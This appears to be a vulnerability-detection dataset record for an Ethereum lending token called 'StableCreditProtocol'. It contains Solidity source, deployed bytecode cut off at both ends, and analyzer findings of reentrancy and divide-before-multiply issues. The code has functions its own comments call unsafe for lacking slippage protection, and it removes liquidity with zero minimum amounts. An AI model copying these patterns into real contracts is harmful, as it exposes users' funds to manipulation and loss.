7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220fdf98f6e5926f4b8637eadd708e35be18d96afab5a9d68ee39806e7c7ad6462f64736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,222
0x20d5bfba0f5c726aad09956fd7398acdac048858
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface UniswapPair { function mint(address to) external returns (uint liquidity); } interface Oracle { function getPriceUSD(address reserve) external view returns (uint); } interface UniswapRouter { function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function factory() external view returns (address); } interface UniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } contract StableCreditProtocol is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; // Oracle used for price debt data (external to the AMM balance to avoid internal manipulation) Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a); UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Maximum credit issued off of deposits (to avoid infinite leverage) uint public constant MAX = 7500; uint public constant BASE = 10000; // user => token => credit mapping (address => mapping(address => uint)) public credit; // user => token => balance mapping (address => mapping(address => uint)) public balances; // user => address[] markets (credit markets supplied to) mapping (address => address[]) public markets; event Borrow(address indexed borrower, address indexed borrowed, uint creditIn, uint amountOut); event Repay(address indexed borrower, address indexed repaid, uint creditOut, uint amountIn); event Deposit(address indexed creditor, address indexed collateral, uint creditOut, uint amountIn, uint creditMinted); event Withdraw(address indexed creditor, address indexed collateral, uint creditIn, uint creditOut, uint amountOut); constructor () public ERC20Detailed("StableCredit", "scUSD", 8) {} // Borrow exact amount of token output, can have variable USD input up to inMax function borrowExactOut(address token, uint inMax, uint outExact) external { _transfer(msg.sender, address(this), inMax); IERC20(this).safeApprove(address(UNI), 0); IERC20(this).safeApprove(address(UNI), inMax); address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = token; uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800)); _transfer(address(this), msg.sender, balanceOf(address(this))); emit Borrow(msg.sender, token, _amounts[0], _amounts[1]); } // Borrow variable amount of token, given exact USD input function borrowExactIn(address token, uint inExact, uint outMin) external { _transfer(msg.sender, address(this), inExact); IERC20(this).safeApprove(address(UNI), 0); IERC20(this).safeApprove(address(UNI), inExact); address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = token; uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800)); emit Borrow(msg.sender, token, _amounts[0], _amounts[1]); } // Repay variable amount of token given exact output amount in USD function repayExactOut(address token, uint inMax, uint outExact) external { IERC20(token).safeTransferFrom(msg.sender, address(this), inMax); IERC20(token).safeApprove(address(UNI), 0); IERC20(token).safeApprove(address(UNI), inMax); address[] memory _path = new address[](2); _path[0] = token; _path[1] = address(this); uint[] memory _amounts = UNI.swapTokensForExactTokens(outExact, inMax, _path, msg.sender, now.add(1800)); IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this))); emit Repay(msg.sender, token, _amounts[1], _amounts[0]); } // Repay variable amount of USD, given exact amount of token input function repayExactIn(address token, uint inExact, uint outMin) external { IERC20(token).safeTransferFrom(msg.sender, address(this), inExact); IERC20(this).safeApprove(address(UNI), 0); IERC20(this).safeApprove(address(UNI), inExact); address[] memory _path = new address[](2); _path[0] = token; _path[1] = address(this); uint[] memory _amounts = UNI.swapExactTokensForTokens(inExact, outMin, _path, msg.sender, now.add(1800)); emit Repay(msg.sender, token, _amounts[1], _amounts[0]); } function depositAll(address token) external { deposit(token, IERC20(token).balanceOf(msg.sender)); } function deposit(address token, uint amount) public { _deposit(token, amount); } // UNSAFE: No slippage protection, should not be called directly function _deposit(address token, uint amount) internal { uint _value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals()); require(_value > 0, "!value"); address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this)); if (_pair == address(0)) { _pair = UniswapFactory(UNI.factory()).createPair(token, address(this)); } IERC20(token).safeTransferFrom(msg.sender, _pair, amount); _mint(_pair, _value); // Amount of aUSD to mint uint _before = IERC20(_pair).balanceOf(address(this)); UniswapPair(_pair).mint(address(this)); uint _after = IERC20(_pair).balanceOf(address(this)); // Assign LP tokens to user, token <> pair is deterministic thanks to CREATE2 balances[msg.sender][token] = balances[msg.sender][token].add(_after.sub(_before)); // Calculate utilization ratio of the asset. The more an asset contributes to the system, the less credit issued // This mechanism avoids large influx of deposits to overpower the system // Calculated after deposit to see impact of current deposit (prevents front-running credit) uint _credit = _value.mul(utilization(token)).div(BASE); credit[msg.sender][token] = credit[msg.sender][token].add(_credit); _mint(msg.sender, _credit); markets[msg.sender].push(token); emit Deposit(msg.sender, token, _credit, amount, _value); } function withdrawAll(address token) external { _withdraw(token, IERC20(this).balanceOf(msg.sender)); } function withdraw(address token, uint amount) external { _withdraw(token, amount); } // UNSAFE: No slippage protection, should not be called directly function _withdraw(address token, uint amount) internal { uint _credit = credit[msg.sender][token]; uint _uni = balances[msg.sender][token]; if (_credit < amount) { amount = _credit; } _burn(msg.sender, amount); credit[msg.sender][token] = credit[msg.sender][token].sub(amount); // Calculate % of collateral to release uint _burned = _uni.mul(amount).div(_credit); address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this)); IERC20(_pair).safeApprove(address(UNI), 0); IERC20(_pair).safeApprove(address(UNI), _burned); uint _before = IERC20(_pair).balanceOf(address(this)); UNI.removeLiquidity( token, address(this), _burned, 0, 0, address(this), now.add(1800) ); uint _after = IERC20(_pair).balanceOf(address(this)); _burned = _before.sub(_after); if (_burned > _uni) { _burned = _uni; } balances[msg.sender][token] = balances[msg.sender][token].sub(_burned); uint _amountA = IERC20(token).balanceOf(address(this)); uint _amountB = balanceOf(address(this)); _burn(address(this), _amountB); // Amount of aUSD to burn (value of A leaving the system) IERC20(token).safeTransfer(msg.sender, _amountA); emit Withdraw(msg.sender, token, amount, _amountB, _amountA); } function getMarkets(address owner) external view returns (address[] memory) { return markets[owner]; } function utilization(address token) public view returns (uint) { return _utilization(token, 0); } // How much system liquidity is provided by this asset function _utilization(address token, uint amount) internal view returns (uint) { address _pair = UniswapFactory(UNI.factory()).getPair(token, address(this)); uint _ratio = BASE.sub(BASE.mul(balanceOf(_pair).add(amount)).div(totalSupply())); if (_ratio == 0) { return MAX; } return _ratio > MAX ? MAX : _ratio; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80639f0d5f27116100f9578063d49d518111610097578063e0eff0c511610071578063e0eff0c514610aba578063ec342ad014610b12578063f3fef3a314610b30578063fa09e63014610b7e576101c4565b8063d49d51811461098b578063d60d9bd7146109a9578063dd62ed3e14610a42576101c4565b8063bf20d9dc116100d3578063bf20d9dc146107eb578063c23f001f14610843578063c3397efe146108bb578063cc1f0d2d14610913576101c4565b80639f0d5f27146106db578063a457c2d71461071f578063a9059cbb14610785576101c4565b8063395093511161016657806370a082311161014057806370a08231146105505780638843c4c9146105a85780639396897e1461060057806395d89b4114610658576101c4565b8063395093511461045257806347e7ef24146104b8578063541bcb7614610506576101c4565b806318160ddd116101a257806318160ddd146103405780631b6b6d231461035e57806323b872dd146103a8578063313ce5671461042e576101c4565b806306fdde03146101c9578063095ea7b31461024c57806317b3bba7146102b2575b600080fd5b6101d1610bc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102115780820151818401526020810190506101f6565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102986004803603604081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c64565b604051808215151515815260200191505060405180910390f35b6102fe600480360360408110156102c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c82565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610348610ccd565b6040518082815260200191505060405180910390f35b610366610cd7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610414600480360360608110156103be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cef565b604051808215151515815260200191505060405180910390f35b610436610dc8565b604051808260ff1660ff16815260200191505060405180910390f35b61049e6004803603604081101561046857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddf565b604051808215151515815260200191505060405180910390f35b610504600480360360408110156104ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e92565b005b61050e610ea0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105926004803603602081101561056657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb8565b6040518082815260200191505060405180910390f35b6105fe600480360360608110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610f00565b005b6106566004803603606081101561061657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506112cc565b005b6106606116ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a0578082015181840152602081019050610685565b50505050905090810190601f1680156106cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61071d600480360360208110156106f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174d565b005b61076b6004803603604081101561073557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611811565b604051808215151515815260200191505060405180910390f35b6107d16004803603604081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118de565b604051808215151515815260200191505060405180910390f35b61082d6004803603602081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fc565b6040518082815260200191505060405180910390f35b6108a56004803603604081101561085957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611910565b6040518082815260200191505060405180910390f35b610911600480360360608110156108d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611935565b005b6109756004803603604081101561092957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d23565b6040518082815260200191505060405180910390f35b610993611d48565b6040518082815260200191505060405180910390f35b6109eb600480360360208110156109bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d4e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a2e578082015181840152602081019050610a13565b505050509050019250505060405180910390f35b610aa460048036036040811015610a5857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b6040518082815260200191505060405180910390f35b610b1060048036036060811015610ad057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611ea2565b005b610b1a612372565b6040518082815260200191505060405180910390f35b610b7c60048036036040811015610b4657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612378565b005b610bc060048036036020811015610b9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612386565b005b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c5a5780601f10610c2f57610100808354040283529160200191610c5a565b820191906000526020600020905b815481529060010190602001808311610c3d57829003601f168201915b5050505050905090565b6000610c78610c7161244a565b8484612452565b6001905092915050565b60086020528160005260406000208181548110610c9b57fe5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b73271bf4568fb737cc2e6277e9b1ee0034098cda2a81565b6000610cfc848484612649565b610dbd84610d0861244a565b610db885604051806060016040528060288152602001614e0460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d6e61244a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b612452565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610e88610dec61244a565b84610e838560016000610dfd61244a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b612452565b6001905092915050565b610e9c8282612a47565b5050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f0b333084612649565b610f4b737a250d5630b4cf539739df2c5dacb4c659f2488d60003073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b610f8a737a250d5630b4cf539739df2c5dacb4c659f2488d833073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60606002604051908082528060200260200182016040528015610fbc5781602001602082028038833980820191505090505b5090503081600081518110610fcd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061101557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166338ed17398585853361109a610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611130578082015181840152602081019050611115565b505050509050019650505050505050600060405180830381600087803b15801561115957600080fd5b505af115801561116d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561119757600080fd5b81019080805160405193929190846401000000008211156111b757600080fd5b838201915060208201858111156111cd57600080fd5b82518660208202830111640100000000821117156111ea57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611221578082015181840152602081019050611206565b5050505090500160405250505090508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc1561b330e73faa7d5d1ac03c968d8f359b0191ccdb9cc002cf7d8eb6ae038cb8360008151811061128c57fe5b6020026020010151846001815181106112a157fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b6112d7333084612649565b611317737a250d5630b4cf539739df2c5dacb4c659f2488d60003073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b611356737a250d5630b4cf539739df2c5dacb4c659f2488d833073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b606060026040519080825280602002602001820160405280156113885781602001602082028038833980820191505090505b509050308160008151811061139957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106113e157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16638803dbee84868533611466610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156114fc5780820151818401526020810190506114e1565b505050509050019650505050505050600060405180830381600087803b15801561152557600080fd5b505af1158015611539573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561156357600080fd5b810190808051604051939291908464010000000082111561158357600080fd5b8382019150602082018581111561159957600080fd5b82518660208202830111640100000000821117156115b657600080fd5b8083526020830192505050908051906020019060200280838360005b838110156115ed5780820151818401526020810190506115d2565b50505050905001604052505050905061160f303361160a30610eb8565b612649565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc1561b330e73faa7d5d1ac03c968d8f359b0191ccdb9cc002cf7d8eb6ae038cb8360008151811061166b57fe5b60200260200101518460018151811061168057fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117435780601f1061171857610100808354040283529160200191611743565b820191906000526020600020905b81548152906001019060200180831161172657829003601f168201915b5050505050905090565b61180e818273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117ce57600080fd5b505afa1580156117e2573d6000803e3d6000fd5b505050506040513d60208110156117f857600080fd5b8101908080519060200190929190505050610e92565b50565b60006118d461181e61244a565b846118cf85604051806060016040528060258152602001614ef6602591396001600061184861244a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b612452565b6001905092915050565b60006118f26118eb61244a565b8484612649565b6001905092915050565b600061190982600061378d565b9050919050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6119623330848673ffffffffffffffffffffffffffffffffffffffff166139a5909392919063ffffffff16565b6119a2737a250d5630b4cf539739df2c5dacb4c659f2488d60003073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b6119e1737a250d5630b4cf539739df2c5dacb4c659f2488d833073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60606002604051908082528060200260200182016040528015611a135781602001602082028038833980820191505090505b5090508381600081518110611a2457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611a6c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166338ed173985858533611af1610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611b87578082015181840152602081019050611b6c565b505050509050019650505050505050600060405180830381600087803b158015611bb057600080fd5b505af1158015611bc4573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015611bee57600080fd5b8101908080516040519392919084640100000000821115611c0e57600080fd5b83820191506020820185811115611c2457600080fd5b8251866020820283011164010000000082111715611c4157600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611c78578082015181840152602081019050611c5d565b5050505090500160405250505090508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe4a1ae657f49cb1fb1c7d3a94ae6093565c4c8c0e03de488f79c377c3c3a24e083600181518110611ce357fe5b602002602001015184600081518110611cf857fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b611d4c81565b6060600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611e0f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611dc5575b50505050509050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ecf3330848673ffffffffffffffffffffffffffffffffffffffff166139a5909392919063ffffffff16565b611f0f737a250d5630b4cf539739df2c5dacb4c659f2488d60008573ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b611f4e737a250d5630b4cf539739df2c5dacb4c659f2488d838573ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60606002604051908082528060200260200182016040528015611f805781602001602082028038833980820191505090505b5090508381600081518110611f9157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611fd957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16638803dbee8486853361205e610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156120f45780820151818401526020810190506120d9565b505050509050019650505050505050600060405180830381600087803b15801561211d57600080fd5b505af1158015612131573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561215b57600080fd5b810190808051604051939291908464010000000082111561217b57600080fd5b8382019150602082018581111561219157600080fd5b82518660208202830111640100000000821117156121ae57600080fd5b8083526020830192505050908051906020019060200280838360005b838110156121e55780820151818401526020810190506121ca565b5050505090500160405250505090506122d6338673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561227557600080fd5b505afa158015612289573d6000803e3d6000fd5b505050506040513d602081101561229f57600080fd5b81019080805190602001909291905050508773ffffffffffffffffffffffffffffffffffffffff16613aab9092919063ffffffff16565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe4a1ae657f49cb1fb1c7d3a94ae6093565c4c8c0e03de488f79c377c3c3a24e08360018151811061233257fe5b60200260200101518460008151811061234757fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b61271081565b6123828282613b7c565b5050565b612447813073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561240757600080fd5b505afa15801561241b573d6000803e3d6000fd5b505050506040513d602081101561243157600080fd5b8101908080519060200190929190505050613b7c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614e726024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561255e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614d9b6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614e4d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612755576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614d566023913960400191505060405180910390fd